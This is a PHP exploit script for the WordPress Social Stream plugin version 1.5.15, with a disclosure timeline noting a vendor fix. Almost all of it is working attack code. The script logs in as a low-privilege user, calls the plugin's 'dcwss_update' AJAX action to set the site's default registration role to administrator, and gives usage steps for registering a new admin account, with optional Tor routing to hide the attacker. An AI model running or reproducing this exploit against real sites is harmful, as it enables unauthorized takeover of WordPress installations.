WordPress Social Stream 1.5.15 wp_options Overwrite

`<?php  
/**  
* Exploit Title: WordPress Social Stream Exploit  
* Google Dork:  
* Exploit Author: wp0Day.com <[email protected]>  
* Vendor Homepage:  
* Software Link: http://codecanyon.net/item/wordpress-social-stream/2201708?s_rank=15  
* Version: 1.5.15  
* Tested on: Debian 8, PHP 5.6.17-3  
* Type: Authenticated wp_options overwrite  
* Time line: Found [14-May-2016], Vendor notified [14-May-2016], Vendor fixed: [v1.5.16 19/05/2016 (Current Version)], [RD:1465606136]  
*/  
  
  
require_once('curl.php');  
//OR  
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');  
$curl = new CurlWrapper();  
  
  
$options = getopt("t:m:u:p:f:c:",array('tor:'));  
print_r($options);  
$options = validateInput($options);  
  
if (!$options){  
showHelp();  
}  
  
if ($options['tor'] === true)  
{  
echo " ### USING TOR ###\n";  
echo "Setting TOR Proxy...\n";  
$curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");  
$curl->addOption(CURLOPT_PROXYTYPE,7);  
echo "Checking IPv4 Address\n";  
$curl->get('https://dynamicdns.park-your-domain.com/getip');  
echo "Got IP : ".$curl->getResponse()."\n";  
echo "Are you sure you want to do this?\nType 'wololo' to continue: ";  
$answer = fgets(fopen ("php://stdin","r"));  
if(trim($answer) != 'wololo'){  
die("Aborting!\n");  
}  
echo "OK...\n";  
}  
  
  
function logIn(){  
global $curl, $options;  
file_put_contents('cookies.txt',"\n");  
$curl->setCookieFile('cookies.txt');  
$curl->get($options['t']);  
$data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');  
$curl->post($options['t'].'/wp-login.php', $data);  
$status = $curl->getTransferInfo('http_code');  
if ($status !== 302){  
echo "Login probably failed, aborting...\n";  
echo "Login response saved to login.html.\n";  
die();  
}  
file_put_contents('login.html',$curl->getResponse());  
  
  
}  
  
function exploit(){  
global $curl, $options;  
if ($options['m'] == 'admin_on'){  
echo "\nEnabling Admin mode\n";  
$data = array('action'=>'dcwss_update', 'option_name'=>'default_role', 'option_value'=>'administrator' );  
$curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);  
$resp = $curl->getResponse();  
echo "Response: ". $resp."\n";  
  
}  
if ($options['m'] == 'admin_off'){  
echo "\nDisabling Admin mode\n";  
$data = array('action'=>'dcwss_update', 'option_name'=>'default_role', 'option_value'=>'subscriber' );  
$curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);  
$resp = $curl->getResponse();  
echo "Response: ". $resp."\n";  
  
}  
}  
  
  
logIn();  
exploit();  
  
  
  
function validateInput($options){  
  
if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){  
return false;  
}  
if ( !isset($options['u']) ){  
return false;  
}  
if ( !isset($options['p']) ){  
return false;  
}  
if (!preg_match('~/$~',$options['t'])){  
$options['t'] = $options['t'].'/';  
}  
if (!isset($options['m']) || !in_array($options['m'], array('admin_on','admin_off') ) ){  
return false;  
}  
if ($options['m'] == 'r' && !isset($options['f'])){  
return false;  
}  
$options['tor'] = isset($options['tor']);  
  
return $options;  
}  
  
  
function showHelp(){  
global $argv;  
$help = <<<EOD  
  
WordPress Social Stream Expoit Pack  
  
Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -m [MODE]  
  
*** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **  
  
[TARGET_URL] http://localhost/wordpress/  
[MODE] admin_on - Sets default role on registration to Administrator  
admin_off - Sets default role on registration to Subscriber  
  
Exploit Flow: Call the exploit with -m admin_on, and register a user manually.  
After registration call the exploit agiain with -m admin_off .  
  
  
  
Examples:  
php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -m admin_on  
  
Misc:  
CURL Wrapper by Leonid Svyatov <[email protected]>  
@link http://github.com/svyatov/CurlWrapper  
@license http://www.opensource.org/licenses/mit-license.html MIT License  
  
EOD;  
echo $help."\n\n";  
die();  
}  
  
  
`